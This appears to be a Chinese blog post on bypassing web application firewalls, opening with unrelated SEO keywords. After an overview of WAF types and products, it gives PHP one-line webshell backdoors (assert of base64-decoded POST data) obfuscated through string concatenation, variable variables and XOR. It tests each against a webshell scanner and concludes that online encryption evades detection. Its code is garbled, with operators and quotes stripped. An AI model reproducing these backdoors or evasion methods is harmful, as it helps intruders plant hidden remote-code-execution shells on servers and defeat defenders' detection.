个人网站设计师,wordpress的文章插件,织梦做的网站总是被攻击,网站查询是否安全WAF绕过主要集中在信息收集#xff0c;漏洞发现#xff0c;漏洞利用#xff0c;权限控制四个阶段。 1、什么是WAF#xff1f; Web Application Firewall#xff08;web应用防火墙#xff09;#xff0c;一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安… WAF绕过主要集中在信息收集漏洞发现漏洞利用权限控制四个阶段。 1、什么是WAF Web Application Firewallweb应用防火墙一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策略来专门为web应用提供保护的一款产品。 基本可以分为以下4种 软件型WAF 以软件的形式安装在服务器上面可以接触到服务器上的文件因此就可以检测服务器上是否有webshell是否有文件被创建等。 硬件型WAF 以硬件形式部署在链路中支持多种部署方式。当串联到链路上时可以拦截恶意流量在旁路监听模式时只记录攻击但是不进行拦截。 云 WAF 一般以反向代理的形式工作通过配置后使对网站的请求数据优先经过WAF主机在WAF主机对数据进行过滤后再传给服务器。 网站内置的WAF 就是来自网站内部的过滤直接出现在网站代码中比如说对输入的参数强制类转换啊对输入的参数进行敏感词检测啊什么的。 2、如何判断WAF Wafw00f识别工具https://github.com/EnableSecurity/wafw00f 看图识别https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ 其他项目脚本平台。 3、目前有哪些常见WAF产品 参考https://blog.csdn.net/w2sft/article/details/104533082/ ① 硬件型 硬件型WAF以一个独立的硬件设备的形态存在支持以多种方式如透明桥接模式、旁路模式、反向代理等部署到网络中为后端的Web应用提供安全防护是最为传统的WAF型态在受访企业中部署占比为35.2%。相对于软件产品类的WAF这类产品的优点是性能好、功能全面、支持多种模式部署等但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等老牌厂商旗下的WAF都属于此类。 ② 软件型 这种类型的WAF采用纯软件的方式实现特点是安装简单容易使用成本低。但它的缺点也是显而易见的除了性能受到限制外还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、ShareWAF、安全狗等。 ③ 云WAF 随着云计算技术的快速发展使得基于云的WAF实现成为可能在本次调查中占比甚至超过了传统的硬件WAF跃升为第一位达到39.4%。阿里云、腾讯云、深信服云WAF、Imperva WAF是这类WAF的典型代表。 4.演示代码-脚本后门免杀变异-传参覆盖加密变异异或运算 1.传参带入 后门代码 ?php
$a$_GET[a];
$aa$a.ert;
$aa(base64_decode($_POST[x]));
? 传递参数aass 使用阿里云Webshell检测平台检测脚本代码 地址https://ti.aliyun.com/#/webshell 放入脚本后门代码 被检测出是恶意脚本 2.变量覆盖 后门代码 ?php
$ab;
$bassert;
$$a(base64_decode($_POST[x]));
? 使用阿里云Webshell检测平台检测脚本代码 放入脚本后门代码 被检测出是恶意脚本 3.异或运算 后门代码 ?php
$a(!^).ssert;
$a($_POST[x]);
? 经过异或运算后(!^)值为a 使用阿里云Webshell检测平台检测脚本代码 放入脚本后门代码 被检测出是恶意脚本 4.混淆/加密变异 将脚本后门代码经过加密之后在上传 在线加密 Free Online Developer Tools - TOOLFK PHP加密 - PHP在线加密平台 php加密|php在线加密|php组件加密|php源码加密|zend加密|ionCube9加密|最好的PHP在线加密工具 脚本后门代码 ?php
$a$_GET[a];
$aa$a.ert;
$aa(base64_decode($_POST[x]));
? 进行在线加密 地址https://www.phpjiami.com/phpjiami.html 加密后生成一个zip文件 解压文件得到加密后的文件 使用阿里云Webshell检测平台检测脚本代码 放入脚本后门文件 成功绕过了检测 所以脚本后门免杀最实用的就是加密变异。